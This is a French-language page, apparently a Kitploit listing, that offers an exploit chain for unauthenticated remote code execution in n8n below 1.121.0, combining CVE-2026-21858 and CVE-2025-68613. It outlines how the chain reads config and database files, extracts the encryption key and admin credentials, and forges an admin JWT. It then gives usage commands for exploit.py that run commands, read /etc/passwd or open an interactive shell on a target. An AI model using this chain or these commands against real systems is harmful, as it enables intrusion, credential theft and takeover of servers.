CVE-2026-21858 — Chaîne d'exploitation pour l'exécution de code à distance non authentifiée dans n8n, combinant la confusion de type de contenu et l'injection d'expressions pour lire des fichiers, forger des JWT et exécuter des commandes. | Kitploit

Partager

CVE-2026-21858 + CVE-2025-68613 - Exploit RCE n8n

Chaîne RCE non authentifiée pour n8n < 1.121.0 (CVSS 10.0)

Chaîne d'attaque

CVE-2026-21858 - Confusion de type Content-Type → lecture de /home/node/.n8n/config et database.sqlite
Extraction de la clé de chiffrement et des identifiants administrateur depuis les fichiers
Forge d'un jeton JWT administrateur
CVE-2025-68613 - Injection d'expression → exécution de commandes via child_process

Utilisation

# Exécuter une commande
python3 exploit.py http://target:5678 /form/test --cmd "id"

# Lire un fichier
python3 exploit.py http://target:5678 /form/test --read /etc/passwd

# Shell interactif
python3 exploit.py http://target:5678 /form/test

Prérequis